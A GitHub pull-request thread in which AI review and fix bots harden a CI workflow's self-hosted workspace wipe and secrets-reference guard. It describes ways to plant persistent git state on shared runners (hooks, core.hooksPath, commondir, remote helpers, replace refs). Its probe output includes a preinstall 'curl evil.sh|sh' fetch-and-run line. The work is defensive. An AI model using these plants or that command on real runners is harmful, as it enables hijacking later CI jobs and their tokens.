  • R5-7 Chromium provisioning chain discards stdout and stderr — already reported (round-3 deferred list, review 5036270908)

Not linted (tool limitation, not a blocker): the executable-script lint — .github/workflows/web-shell-visuals.yml: actionlint embedded-shell source mapping is not yet supported — not linted.

Deferred under the convergence posture (round 5, not a blocker) — recorded, not requested in this round:

  • .github/workflows/web-shell-visuals.yml:92 — [review] Ownership-heal block pasted as 15th copy
  • .github/workflows/web-shell-visuals.yml:129 — [review] npm-cache copy drops the trailing du -sh diagnostic
  • .github/scripts/ci-runner-routing.test.mjs:874 — [probe] Env-override pin list omits RUNNER_ENVIRONMENT

Convergence: round 5 posted 2 inline comment(s), 2 of them reported for the first time; the previous round posted 1 (1 new). Findings keep coming back to the same files: .github/scripts/ci-runner-routing.test.mjs (findings in round 4; 1 more now). The rate of new findings is not falling. A cluster that keeps producing siblings usually means the fixes are treating instances of a shared root cause — triaging that cause before the next round, or splitting an independent cluster into its own pull request, tends to end the loop faster than fixing them one at a time. Batching the remaining fixes and verifying them before the next push, or dropping this PR's reviews to --severity-floor critical, keeps the loop from re-deriving the same set. (Observation only — nothing was withheld from this review because of this observation.)

中文说明

本轮确认的 2 条建议级发现已在 PR 上报告过,不再重复发布(列表见上方英文部分)。

未检查(工具限制,非阻断):the executable-script lint — .github/workflows/web-shell-visuals.yml: actionlint embedded-shell source mapping is not yet supported — not linted。

收敛姿态下延后(第 5 轮,非阻断)——已记录,本轮不要求修改:共 3 条(原文未翻译,列表见上方英文部分)。

收敛情况:第 5 轮发布了 2 条行内评论,其中 2 条是首次提出;上一轮发布了 1 条(其中 1 条首次提出)。发现反复回到同一批文件:.github/scripts/ci-runner-routing.test.mjs(第 4 轮已出过发现,本轮又有 1 条)。新发现的产出速度没有下降。一个不断再生兄弟发现的簇,通常意味着逐条修复只在处理同一根因的实例——先定位并处理该根因,或把独立的簇拆成单独的 PR,通常比逐条修复更快结束循环。把剩余修复攒成一批、验证后再推送,或将本 PR 的评审降到 --severity-floor critical,可以避免循环反复推导同一组发现。(仅为观察——本轮评审未因此扣留任何内容。)

— qwen3.8-max via Qwen Code /review (v0.22.2)

Comment on lines +91 to +92
- name: 'Restore workspace ownership'
if: "${{ runner.environment == 'self-hosted' }}"

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] The capture job is now routed onto the persistent pool, but it only inherits part of the fleet's pre-checkout hygiene: it ports serve-ab.yml's ownership heal while omitting its 'Wipe stale workspace except the shared .git before checkout' step. On the pool the per-repo workspace outlives a run (the heal's own comment relies on that), so the surviving .git keeps its exec knobs — hooks, core.hooksPath, a symlinked root — and nothing in this job removes them. A previous job whose code ran on this machine — including an approved fork PR, since pull_request executes the fork's YAML and this workflow's paths filter admits a workflow-only PR that rewrites runs-on onto the pool labels — can plant .git/hooks/post-checkout or core.hooksPath in .git/config. The heal only chowns/chmods; actions/checkout reuses the .git, and its fetch/checkout --force never touches .git/, so the planted knob fires inside a run it does not belong to, with that run's GITHUB_TOKEN — and can tamper with the screenshots the privileged publish workflow posts onto the PR. Executed against real git: a planted executable hook and a planted core.hooksPath both survived git clean -ffdx + git reset --hard and fired during the victim job's checkout; adding serve-ab's defang lines silenced both — exactly the step this diff omits:

hook-no-wipe:    HOOK FIRED in victim job -> post-checkout ran
hook-with-defang: hook silent
hooksPath-no-wipe: HOOK FIRED in victim job -> hooksPath hook ran
hooksPath-defang: hook silent

Port serve-ab.yml's 'Wipe stale workspace except the shared .git before checkout' step between 'Restore workspace ownership' and 'Checkout PR head' (symlink/non-directory root heal, realpath canonicalization + path allowlist guards, a wipe that keeps only .git, rm -rf of .git/hooks and .git/info/attributes, config.worktree removal, and the allowlist config scrub). Fix witness: add the visuals analogue of serve-ab's pinned test 'wipes the reused workspace except the shared root .git before checking out PR code' to the new capture-routing describe — removing or demoting the wipe step must turn it red (mutate, run, confirm).

中文说明

capture job 现在路由到常驻池,但只继承了车队检出前卫生步骤的一部分:移植了 serve-ab.yml 的属主修复,却漏掉了它的 'Wipe stale workspace except the shared .git before checkout' 步骤。池上按仓库的工作区跨运行存留(属主修复步骤自己的注释正依赖于此),存留的 .git 保留其执行旋钮——钩子、core.hooksPath、符号链接根——本 job 没有任何步骤移除它们。任何曾在这台机器上运行过代码的前序作业——包括一个被批准的 fork PR(pull_request 执行 fork 的 YAML,且本 workflow 的 paths 过滤器允许仅改 workflow 的 PR 把 runs-on 改写到池标签)——都可以植入 .git/hooks/post-checkout.git/config 中的 core.hooksPath。属主修复只做 chown/chmod;actions/checkout 复用该 .git,其 fetch/checkout --force 从不触碰 .git/,于是植入的旋钮在一个不属于它的运行内触发,使用该运行的 GITHUB_TOKEN——并可篡改由特权 publish 工作流发布到 PR 上的截图。已对真实 git 实际执行验证:植入的可执行钩子与 core.hooksPath 配置在 git clean -ffdx + git reset --hard 之后仍然存活,并在受害作业的 checkout 期间触发;加上 serve-ab 的拆除行后两者均沉默——正是本 diff 漏掉的那一步(见证见上方英文部分的执行输出)。建议:在 'Restore workspace ownership' 与 'Checkout PR head' 之间移植 serve-ab.yml 的 'Wipe stale workspace except the shared .git before checkout' 步骤(符号链接根修复、realpath 规范化 + 路径 allowlist 守卫、仅保留 .git 的清除、rm -rf 删除 .git/hooks.git/info/attributes、删除 config.worktree、按 allowlist 擦洗本地配置)。修复见证:在新增的 capture-routing describe 中加入 serve-ab 钉扎测试 'wipes the reused workspace except the shared root .git before checking out PR code' 的 visuals 对应版本——删除或降级该清理步骤必须使其变红(变异、运行、确认)。

— qwen3.8-max via Qwen Code /review (v0.22.2)

]),
);
for (const [where, value] of surfaces) {
const refs = String(value ?? '').match(/secrets\.[A-Za-z_]+/g) ?? [];

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] This guard has now grown a new bypass sibling in three consecutive rounds — round 1's step-env-only scope, round 4's toJSON(secrets) whole-context form (recorded at this same line in the round-4 deferred list), and now bracket/indexed access — because it regex-matches expression shapes one at a time, and the set of shapes that reference secrets without the literal dot form (secrets['NAME'], secrets[matrix.key], toJSON(secrets), plus any future grammar) is unbounded. Close the class structurally instead of enumerating shapes: flag any occurrence of the secrets context and allowlist only the exact secrets.GITHUB_TOKEN reference. Executed against the committed regex: secrets['PREVIEW_TOKEN'] and secrets[matrix.key] both return zero matches, so the assertion loop iterates nothing and the suite stays green — while the untrusted PR code this job builds and renders could read such an ambient secret from its environment and exfiltrate it through the uploaded artifact the privileged publisher posts back onto the PR. There is no leak today (the workflow references only secrets.GITHUB_TOKEN; the full suite is green) — the guardrail itself is what would slip:

"${{ secrets['PREVIEW_TOKEN'] }}"  committed: []   broadened: ["secrets["]
"${{ secrets[matrix.key] }}"       committed: []   broadened: ["secrets["]
"${{ toJSON(secrets) }}"           committed: []   broadened: ["toJSON(secrets)"]
"${{ secrets.GITHUB_TOKEN }}"      committed: ["secrets.GITHUB_TOKEN"]   broadened: ["secrets.GITHUB_TOKEN"]
const refs =
  String(value ?? '').match(/secrets\s*(\.[A-Za-z_]+|\[[^\]]*\])/g) ?? [];
// whole-context forms reference the entire context and can never equal the
// permitted reference — fail them outright:
assert.ok(
  !/\btoJSON\s*\(\s*secrets\s*\)/.test(String(value ?? '')),
  `capture ${where} references the whole secrets context; the render side must stay secret-free`,
);

This finding absorbs this round's bracket-form entrance as evidence and supersedes the round-4 whole-context item. Fix witness: a fixture asserting a step env of ${{ secrets['EVIL'] }} makes the guard throw — deleting the broadened matcher must turn it green again for every non-dot shape (remove the guard, run that test, confirm it reds).

中文说明

该守卫已连续三轮长出新的绕过兄弟——第 1 轮的仅步骤级 env 覆盖、第 4 轮的 toJSON(secrets) 整体上下文形态(已记录于第 4 轮延后列表的同一行)、以及现在的括号/索引访问——因为它逐个形状地用正则匹配表达式,而不带字面点号形态即可引用 secrets 的形状集合(secrets['NAME']secrets[matrix.key]toJSON(secrets) 以及未来语法)是无界的。请从结构上闭合该类,而不是逐形状枚举:对 secrets 上下文的任何出现一律告警,仅允许精确的 secrets.GITHUB_TOKEN 引用。已对提交版正则实际执行:secrets['PREVIEW_TOKEN']secrets[matrix.key] 均返回零匹配,断言循环空转、套件保持绿色——而本 job 构建并渲染的不受信 PR 代码可以从环境变量读取这样的环境 secret,并通过特权发布者回帖到 PR 的上传产物将其带出。今天没有泄漏(workflow 仅引用 secrets.GITHUB_TOKEN,完整套件为绿)——会失守的是守卫本身(见证见上方英文部分的执行输出)。本发现吸收本轮的括号形态入口作为证据,并取代第 4 轮的整体上下文条目。修复见证:新增夹具断言步骤 env 为 ${{ secrets['EVIL'] }} 时守卫必须抛错——删除放宽后的匹配器必须让它在所有非点号形态下重新变绿(移除守卫、运行该测试、确认变红)。

— qwen3.8-max via Qwen Code /review (v0.22.2)

@qwen-code-dev-bot

Copy link
Copy Markdown
Collaborator

🤖 Addressed the latest review feedback (round 6/100). What changed, and what I pushed back on: · 已处理最新评审反馈(第 6/100 轮)。改动内容与我反驳保留之处如下:

Round summary

Critical-only mode is active this window. Both findings were actionable this round: the Critical inline comment directly, and the Suggestion because it attaches to a CHANGES_REQUESTED review, which the Critical-only filter deliberately keeps in the actionable set.

Findings and dispositions

  1. [Critical] rc:3871927980.github/workflows/web-shell-visuals.yml:92: the capture job ported serve-ab.yml's ownership heal but omitted its 'Wipe stale workspace except the shared .git before checkout' step, so on the persistent pool the surviving .git keeps any exec knob a previous job planted (post-checkout hook, core.hooksPath), and the planted knob fires inside a later run's checkout with that run's token.
    Resolved in code. Ported serve-ab.yml's wipe step byte-identical (only the lead comment's "bleed into the builds / posted A/B diff" adapted to "bleed into the render / posted preview") between 'Restore workspace ownership' and 'Checkout PR head' — symlink/non-directory root heal, realpath canonicalization + path allowlist guards, a wipe that keeps only a real .git directory, rm -rf of .git/hooks and .git/info/attributes, config.worktree removal, and the allowlist config scrub. Also bumped .size-baseline for web-shell-visuals.yml (24640 → 34093) in the same commit, as the growth ratchet requires.
    Fix witness: added the visuals analogue of serve-ab's pinned test 'wipes the reused workspace except the shared root .git before checking out PR code' to the capture-routing describe. Mutation probes: deleting the wipe step turns the new test red; adding continue-on-error: true to it turns the test red; restoring either goes green again.

  2. [Suggestion] rc:3871927989.github/scripts/ci-runner-routing.test.mjs:730: the ambient-secrets guard regex-matched expression shapes one at a time, so references without the literal dot form bypassed it. Reproduced against the committed regex: secrets['PREVIEW_TOKEN'], secrets[matrix.key], and toJSON(secrets) all returned zero matches, so the assertion loop iterated nothing and the suite stayed green.
    Resolved in code. Closed the class structurally instead of enumerating shapes: the scan now flags EVERY occurrence of the secrets context and allows only the exact secrets.GITHUB_TOKEN reference — dot, bracket/indexed, whole-context (toJSON(secrets)), and bare forms all fail closed. Fix witness: a fixture test asserting secrets['EVIL'], secrets[matrix.key], toJSON(secrets), and bare secrets all throw while secrets.GITHUB_TOKEN passes. Mutation probe: restoring the old dot-only matcher turns the fixture test red; the restored broadened matcher goes green.

Notes

  • No conflicts (--conflict false); stayed on the PR head branch, no merge.
  • All changes stay inside the PR's own footprint (the three files this PR already touches).

Verification

  • node --test .github/scripts/ci-runner-routing.test.mjs — 39 passed, 0 failed (includes the 2 new tests; both wipe-pin copies — serve-ab and visuals — pass)
  • Full CI HELPER_TESTS set (node --test over all 19 helper test files, as ci.yml runs them) — 432 passed, 0 failed
  • npm run test:scripts — 66 test files passed, 1775 tests passed, 16 skipped. (An initial failure in scripts/tests/install-script.test.js was ENOENT on packages/audio-capture/dist — a missing build artifact in this environment, unrelated to this change; npm run build creates it and the test then passes.)
  • bash .github/scripts/check-workflow-size.sh with WORKFLOW_SIZE_BASE_SHA=origin/main — every workflow under the gate and within the bumped baseline
  • npm run build — passed
  • npm run typecheck — passed
  • npm run lint — passed
  • npx prettier --check on both changed files — clean (after prettier --write on the test file)
  • Mutation probes: A (wipe step deleted) → witness red; B (wipe step continue-on-error: true) → witness red; C (dot-only secrets matcher restored) → fixture witness red; each restored → green (39/39)
  • Not runnable here: actionlint (not installed; the review itself marks the embedded-shell lint as a tool limitation, not a blocker)
中文说明

轮次摘要

本窗口已进入仅处理 Critical 的模式。本轮两条反馈均可执行:Critical 行内评论直接可执行;Suggestion 因隶属于一次 CHANGES_REQUESTED 评审,而 Critical-only 过滤器有意将此类评论保留在可执行集合中。

反馈与处置

  1. [Critical] rc:3871927980.github/workflows/web-shell-visuals.yml:92:capture job 移植了 serve-ab.yml 的属主修复,却漏掉了它的 'Wipe stale workspace except the shared .git before checkout' 步骤。因此在常驻池上,存留的 .git 会保留前序作业植入的任何执行旋钮(post-checkout 钩子、core.hooksPath),植入的旋钮会在后续某次不属于它的运行 checkout 时触发,并使用该运行的 token。
    已在代码中解决。 将 serve-ab.yml 的清理步骤逐字节原样移植(仅将开头注释中的 "bleed into the builds / posted A/B diff" 改为 "bleed into the render / posted preview"),置于 'Restore workspace ownership' 与 'Checkout PR head' 之间——包含符号链接/非目录根修复、realpath 规范化 + 路径 allowlist 守卫、仅保留真实 .git 目录的清除、删除 .git/hooks.git/info/attributes、删除 config.worktree、以及按 allowlist 擦洗本地配置。同一提交中按增长棘轮的要求将 .size-baseline 里 web-shell-visuals.yml 的记录从 24640 提升到 34093。
    修复见证:在 capture-routing describe 中新增 serve-ab 钉扎测试 'wipes the reused workspace except the shared root .git before checking out PR code' 的 visuals 对应版本。变异探针:删除该清理步骤会使新测试变红;为其添加 continue-on-error: true 同样变红;恢复后重新变绿。

  2. [Suggestion] rc:3871927989.github/scripts/ci-runner-routing.test.mjs:730:环境 secrets 守卫逐个形状地用正则匹配表达式,因此不带字面点号形态的引用可以绕过它。已对提交版正则实际执行复现:secrets['PREVIEW_TOKEN']secrets[matrix.key]toJSON(secrets) 均返回零匹配,断言循环空转,套件保持绿色。
    已在代码中解决。 不再逐形状枚举,而是从结构上闭合该类:扫描现在对 secrets 上下文的任何出现一律告警,仅允许精确的 secrets.GITHUB_TOKEN 引用——点号、括号/索引、整体上下文(toJSON(secrets))以及裸引用形态全部失败关闭。修复见证:新增夹具测试,断言 secrets['EVIL']secrets[matrix.key]toJSON(secrets)、裸 secrets 均抛错,而 secrets.GITHUB_TOKEN 通过。变异探针:恢复旧的仅点号匹配器会使夹具测试变红;恢复放宽后的匹配器重新变绿。

说明

  • 无冲突(--conflict false);停留在 PR 头分支,未做合并。
  • 所有改动均在本 PR 自身的足迹范围内(即本 PR 已触碰的三个文件)。

验证

  • node --test .github/scripts/ci-runner-routing.test.mjs — 39 通过、0 失败(含 2 个新测试;两份清理步骤钉扎——serve-ab 与 visuals——均通过)
  • 完整 CI HELPER_TESTS 集合(按 ci.yml 的方式对全部 19 个辅助测试文件执行 node --test)— 432 通过、0 失败
  • npm run test:scripts — 66 个测试文件通过、1775 个测试通过、16 跳过。(scripts/tests/install-script.test.js 的一次初始失败是对 packages/audio-capture/distENOENT——本环境缺少构建产物,与本次改动无关;npm run build 生成该产物后测试通过。)
  • bash .github/scripts/check-workflow-size.shWORKFLOW_SIZE_BASE_SHA=origin/main)— 所有 workflow 均在门限之内且位于提升后的基线之内
  • npm run build — 通过
  • npm run typecheck — 通过
  • npm run lint — 通过
  • 对两个改动文件执行 npx prettier --check — 干净(测试文件先经 prettier --write
  • 变异探针:A(删除清理步骤)→ 见证变红;B(清理步骤加 continue-on-error: true)→ 见证变红;C(恢复仅点号 secrets 匹配器)→ 夹具见证变红;各自恢复后 → 变绿(39/39)
  • 本地无法运行:actionlint(未安装;评审本身也将嵌入式 shell 检查标注为工具限制,非阻断项)

Deferred non-Critical feedback

Critical-only mode is active: 5 change-producing rounds are complete. The workflow excluded the non-Critical feedback below from this round's actionable sections; the items remain open for human follow-up. Maintainer feedback is deferred only after its author has used 2 regular feedback batches in this window's Critical-only tail; authors at that budget, if any, are named below. (@qwen-code /retry starts a fresh counting window.)

中文说明

已进入仅处理 Critical 的模式:已完成 5 个产生改动的轮次。本轮可执行区域已排除下方非 Critical 反馈;这些条目保持开放,留待人工跟进。维护者反馈仅在其本人于本窗口 Critical-only 阶段已使用 2 批常规反馈预算后才会延后;达到预算的作者(如有)在下方点名。(评论 @qwen-code /retry 可开启新的计数窗口。)

Base-conflict check · 基分支冲突检查: no conflict with main. · 与 main 无冲突。

Re-review when you have a moment. After round 100 this bot stops and leaves the PR for a human. · 有空请复审;第 100 轮后本 bot 停止并将 PR 交给人工。


🧠 Handled by Qwen Code · model/模型 qwen3.8-max

qwen-code-ci-bot pushed a commit that referenced this pull request Aug 27, 2026

@qwen-code-ci-bot qwen-code-ci-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Partially reviewed — gaps disclosed.

1 Suggestion-level finding(s) this review confirmed are already reported on this PR and are not repeated:

  • ffmpeg-install step comment re-asserting the disproved uniform-RHEL premise — already reported (round-4 deferred list, review 5037369574; round-5 body duplicate note as R5-6, review 5041047375)

Not reviewed: reverse audit — did not converge within the reverse-audit round cap of 10.

Not linted (tool limitation, not a blocker): the executable-script lint — .github/workflows/web-shell-visuals.yml: actionlint embedded-shell source mapping is not yet supported — not linted.

Deferred under the convergence posture (round 6, not a blocker) — recorded, not requested in this round:

  • .github/scripts/ci-runner-routing.test.mjs:728 — [probe] no identity assertion links the two byte-identical wipe copies' test pins (the visuals wipe middle is pinned by nothing)
  • .github/scripts/ci-runner-routing.test.mjs:852 — [review] ambient-secret guard surfaces omit step.name / step.if / job-level name (runner expands step names against the secrets context)
  • .github/scripts/ci-runner-routing.test.mjs:296 — [probe] secrets matcher is case-sensitive though the runner evaluator is case-insensitive — SECRETS.X / Secrets.X bypass the guard

Convergence: round 6 posted 1 inline comment(s), 1 of them reported for the first time; the previous round posted 2 (2 new). Findings keep coming back to the same files: .github/workflows/web-shell-visuals.yml (findings in round 5; 1 more now). A cluster that keeps producing siblings usually means the fixes are treating instances of a shared root cause — triaging that cause before the next round, or splitting an independent cluster into its own pull request, tends to end the loop faster than fixing them one at a time. (Observation only — nothing was withheld from this review because of this observation.)

中文说明

仅完成部分审查,审查缺口已披露。

本轮确认的 1 条建议级发现已在 PR 上报告过,不再重复发布(列表见上方英文部分)。

未审查:反向审计——在 10 轮的反审轮数上限内未收敛。

未检查(工具限制,非阻断):the executable-script lint — .github/workflows/web-shell-visuals.yml: actionlint embedded-shell source mapping is not yet supported — not linted。

收敛姿态下延后(第 6 轮,非阻断)——已记录,本轮不要求修改:共 3 条(原文未翻译,列表见上方英文部分)。

收敛情况:第 6 轮发布了 1 条行内评论,其中 1 条是首次提出;上一轮发布了 2 条(其中 2 条首次提出)。发现反复回到同一批文件:.github/workflows/web-shell-visuals.yml(第 5 轮已出过发现,本轮又有 1 条)。一个不断再生兄弟发现的簇,通常意味着逐条修复只在处理同一根因的实例——先定位并处理该根因,或把独立的簇拆成单独的 PR,通常比逐条修复更快结束循环。(仅为观察——本轮评审未因此扣留任何内容。)

— qwen3.8-max via Qwen Code /review (v0.22.2)

Comment on lines +225 to +226
find "$WS" -mindepth 1 -maxdepth 1 ! \( -name '.git' -type d \) -exec rm -rf {} +
rm -rf "$WS/.git/hooks" "$WS/.git/info/attributes"

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] R5-1: (fix-induced) The round-5 fix for this thread added the 'Wipe stale workspace except the shared .git before checkout' step — and the added step's kept-.git defang is a hand-rolled guard that does not close the planted-state class it claims to close (its own comment says "git's exec knobs are an open-ended class; an allowlist closes the class"). Every entrance below was probe-verified against the unmodified step text, and each violates the step's own pin "self-hosted reuse must not bleed one PR into the next":

  1. .git/commondir / .git/shallow are never removed — a planted commondir repoints hooks, config, refs, and objects to an attacker-controlled gitdir outside the workspace; the wipe then deletes the WRONG hooks dir and scrubs the attacker's config file, and the next job's checkout fires the planted hook. The fleet's own resanitize-git-config.sh removes exactly these two files first for this reason.
  2. The config-scrub allowlist keeps the entire remote\. family — a planted remote.origin.vcs survives, and the next job's git fetch origin execs the attacker's remote helper (git-remote-<vcs>).
  3. The allowlist keeps core.worktree — a planted redirect sends the next reuse-checkout's file writes and clean -ffdx deletions outside the runner workspace.
  4. A planted .git/config.lock jams the scrub's entire write path — every --unset-all fails with "could not lock config file" and is swallowed by || true — so even keys the scrub targets (e.g. core.hooksPath) survive, silently, with no annotation.
  5. The raw $RUNNER_WORKSPACE root is never validated — a planted root symlink is canonicalized THROUGH the link, making the "$RWS"/* containment allowlist tautological: either a silent wipe of a directory outside the real runner workspace, or a persistent lane DoS (the runner daemon never repairs the plant).
  6. The refs layer is preserved wholesale ("Objects and refs … untouched") — a planted refs/replace/* entry silently substitutes file content in the NEXT PR's checkout (actions/checkout v6.0.3 passes no --no-replace-objects): the reviewed diff shows the clean file while npm ci runs the injected lifecycle scripts.

Any prior pool job that ran attacker code — a same-repo PR or write-access fork author (the exact lanes this PR routes onto the pool), or a compromised dependency in any pool lane — can plant one or more of these states in the shared per-repo workspace; the wipe exits 0, and the next job executes the plant with that job's token, persisting on the machine until a human intervenes.

Witness (probe arms against the unmodified step, extracted verbatim; the named fix flips each arm):

commondir arm:  BUGGY: HOOK-FIRED post-checkout; hooks resolve into attacker gitdir
                FIXED (rm -f commondir/shallow): no hook fired
config.lock:    JAMMED: core.hookspath survives scrub; HOOK VERDICT: FIRED
                no-lock control: clean; rm -f config.lock arm: no hook fired
core.worktree:  PR file in planted: YES; WS empty of files: YES; clean: Removing victim.txt (outside workspace)
replace ref:    materialized package.json: {"name":"EVIL","scripts":{"preinstall":"curl evil.sh|sh"}}
                strip-refs/replace arm: clean content
root symlink:   arm A: exit=1, root still symlink: YES (persistent; daemon 'Set up job' fails)
                arm B: exit=0 (silent), evil marker1 deleted: YES (outside runner workspace)
remote.*.vcs:   git fetch origin execs git-remote-evilprobe origin <url>; narrowed-allowlist arm unsets it
actions/checkout df4cb1c0 (v6.0.3): zero commondir refs; no --no-replace-objects; no --work-tree

Close the class structurally instead of entrance by entrance — mirror the fleet's hardened sanitizer (.github/scripts/resanitize-git-config.sh) and extend it where it is also incomplete (it does not handle refs/replace, core.worktree, or the root plant):

rm -f "$WS/.git/commondir" "$WS/.git/shallow"   # before the defang rms and the config sweep
# narrow remote\. to remote\..+\.(url|fetch|pushurl); drop |worktree from the core\.(...) group
rm -f "$WS/.git/config.lock"                     # before any git config write
# judge the raw $RUNNER_WORKSPACE root like $WS (heal -L/non-dir, canonicalize the PARENT,
# containment-check, rm + mkdir fail-closed) BEFORE realpath-ing it into RWS
{ git --git-dir="$WS/.git" for-each-ref --format='%(refname)' refs/replace; } | \
  while IFS= read -r ref; do git --git-dir="$WS/.git" update-ref -d "$ref"; done
rm -rf "$WS/.git/refs/replace"

Apply the same edit to serve-ab.yml's byte-identical copy in the same commit. Fix witness: extend both wipe byte-pin tests so the pinned tails include the new defang lines, and add an exec fixture that plants each state (commondir; config.lock + hooksPath + hook; replace ref; root symlink) and asserts the defanged state and no hook fire — removing any of the new lines must turn the corresponding pin red.

中文说明

第 5 轮针对本线程的修复新增了 'Wipe stale workspace except the shared .git before checkout' 步骤——但该步骤对保留 .git 的拆除是手工编写的守卫,并未闭合它声称要闭合的被植入状态类(其自身注释写道"git 的执行旋钮是开放类;allowlist 闭合该类")。以下每个入口均已对未改动的步骤原文做了探针验证,且都违反了该步骤自己的钉扎"自持复用不得把一个 PR 渗入下一个 PR":

  1. 从不删除 .git/commondir / .git/shallow —— 植入的 commondir 会把钩子、配置、refs、objects 重新指向工作区之外的攻击者 gitdir;wipe 随后删除的是错误的钩子目录、擦洗的是攻击者的配置文件,下一个作业的 checkout 会触发被植入的钩子。车队自己的 resanitize-git-config.sh 正是因此优先删除这两个文件。
  2. 配置擦洗的 allowlist 保留了整个 remote\. 家族 —— 植入的 remote.origin.vcs 存活,下一个作业的 git fetch origin 会执行攻击者的 remote helper(git-remote-<vcs>)。
  3. allowlist 保留了 core.worktree —— 植入的重定向会把下一次复用 checkout 的文件写入与 clean -ffdx 删除送到 runner 工作区之外。
  4. 植入的 .git/config.lock 会卡死擦洗的整个写入路径 —— 每个 --unset-all 以 "could not lock config file" 失败并被 || true 吞掉 —— 连擦洗本要处理的键(如 core.hooksPath)也会存活,且完全无声、无任何注解。
  5. 从不校验原始 $RUNNER_WORKSPACE 根 —— 植入的根符号链接会透过链接本身被规范化,使 "$RWS"/* 包含 allowlist 变成同义反复:要么无声地清除真实 runner 工作区之外的目录,要么造成持久的车道拒绝服务(runner 守护进程从不修复该植入)。
  6. refs 层被整体保留("Objects and refs … untouched")—— 植入的 refs/replace/* 会在下一个 PR 的 checkout 中无声替换文件内容(actions/checkout v6.0.3 不传 --no-replace-objects):受审 diff 显示的是干净文件,而 npm ci 执行的已是被注入的生命周期脚本。

任何曾在池上运行过攻击者代码的前序作业——同仓库 PR、有写权限的 fork 作者(正是本 PR 路由到池上的车道),或任何池车道中被污染的依赖——都可以在共享的按仓库工作区中植入上述一种或多种状态;wipe 以退出码 0 "成功",下一个作业便会以该作业的 token 执行植入,且持续存在直到人工介入。

修复方向:不要逐入口修补,而应结构性闭合该类——对齐车队加固消毒器(.github/scripts/resanitize-git-config.sh)并补齐它同样缺失的部分(它不处理 refs/replace、core.worktree 与根植入):删除 commondir/shallow;把 remote\. 收窄为 remote\..+\.(url|fetch|pushurl);从 core\.(...) 组中去掉 |worktree;在任何 git config 写入前删除 .git/config.lock;在把 $RUNNER_WORKSPACE realpath 进 RWS 之前,像对待 $WS 一样判断原始根(符号链接/非目录则修复:规范化父目录、包含性检查、rm + mkdir 失败即关闭);剥离 refs/replace/*for-each-ref + update-ref -d,并 rm -rf "$WS/.git/refs/replace")。同一提交中对 serve-ab.yml 逐字节相同的副本做同样修改。修复见证:扩展两处 wipe 字节钉扎测试使其钉住的尾部包含新增拆限行,并新增一个执行夹具分别植入各状态(commondir;config.lock + hooksPath + 钩子;replace ref;根符号链接),断言拆除后的状态且钩子不触发——删除任一新增行必须使对应钉扎变红。

— qwen3.8-max via Qwen Code /review (v0.22.2)

@qwen-code-dev-bot

Copy link
Copy Markdown
Collaborator

🤖 Addressed the latest review feedback (round 7/100). What changed, and what I pushed back on: · 已处理最新评审反馈(第 7/100 轮)。改动内容与我反驳保留之处如下:

Round 6 — Critical finding on the kept-.git wipe defang addressed

Feedback point

  • [rc:3874630223] [Critical] R5-1: the round-5 kept-.git defang in the Wipe stale workspace except the shared .git before checkout step does not close the planted-state class it claims to close — six probe-verified entrances: (1) .git/commondir/.git/shallow never removed, (2) the config-scrub allowlist keeps the entire remote\. family (remote.origin.vcs → the next fetch execs git-remote-<vcs>), (3) the allowlist keeps core.worktree (redirects the next checkout's writes/cleans outside the workspace), (4) a planted .git/config.lock jams the whole scrub into swallowed failures, (5) the raw $RUNNER_WORKSPACE root is never validated (a planted root link makes every containment check tautological), (6) refs/replace preserved wholesale (silently substitutes file content in the next job's checkout).

No base-conflict handling was required (--conflict false).

Decision: resolved in code — all six entrances reproduced on this runner first, then closed structurally in both byte-identical copies (web-shell-visuals.yml and serve-ab.yml, same commit, as requested)

Reproduction (exec probes against the unmodified step text, git 2.39.5): every arm reproduced — the commondir hook fired on the next checkout, the vcs remote helper execed, core.worktree survived, core.hooksPath survived the jammed scrub and its hook fired, the root link produced both the silent outside-workspace wipe (exit 0, victim files deleted) and the permanent wedge (exit 1, root still a symlink), and both loose and packed replace refs materialized the evil package.json.

The fix, per entrance:

  1. commondirrm -f "$WS/.git/commondir" before any git call: a plant repoints hooks/config/refs to an attacker gitdir outside the workspace, making every later defang act on the wrong repo (and the --git-path/config sweep write outside the workspace). Probe flips: no hook fires after the fix.
  2. remote allowlistremote\. narrowed to remote\..+\.(url|fetch|pushurl), mirroring the fleet's hardened sanitizer family. Probe flips: the helper no longer execs; the keys the next checkout reuses (url/fetch/pushurl) are pinned as kept by a new witness.
  3. core.worktree — dropped from the keep-list. Probe flips: the redirect is scrubbed.
  4. config.lockrm -f "$WS/.git/config.lock" before any config write. Probe flips: core.hooksPath scrubbed despite the planted lock, no hook fire.
  5. root symlink — the raw $RUNNER_WORKSPACE is now judged like $WS before anything canonicalizes it: a symlink or non-directory is healed (unlink the literal entry + recreate, both legs fail-closed, sanitized log), guarded by raw-path judgments ('..' traversal, known roots, relative paths) — the root is the top of the containment chain, so it is judged raw rather than against an outer anchor, and the rationale is recorded in the step. Probe flips on both arms: the outside victim files survive, the wedge resolves, exit 0.
  6. refs/replace — stripped via for-each-ref + update-ref -d inside a kept-.git guard (fail-closed for a repo whose refs cannot be enumerated; a healed-empty workspace has nothing to strip and must not fail), then the namespace directory removed. Probed loose and packed plants (update-ref -d drops packed entries natively on this git version; a pack-refs add-on was probed too but dropped as an unwitnessed guard the suite cannot pin). Probe flips: clean content materializes, zero replace refs survive.

One subpoint declined with evidence — .git/shallow: item 1 pairs commondir with shallow, citing the fleet's resanitize-git-config.sh, which removes both because "neither file legitimately exists here". That premise holds in that flow (its protected checkouts use fetch-depth: 0) but not in this one: both workflows here check out with fetch-depth: 1, so a shared kept repo's .git/shallow legitimately records the shallow boundary. Probe: removing it leaves error: Could not read <sha> in the next depth-1 reuse fetch — it corrupts the very reuse the kept .git exists for. A planted .git/shallow can only narrow the object graph (a loud fetch failure), never exec or substitute content. The fix therefore removes commondir and deliberately keeps shallow, with this rationale documented in the step comment where the next reviewer will look.

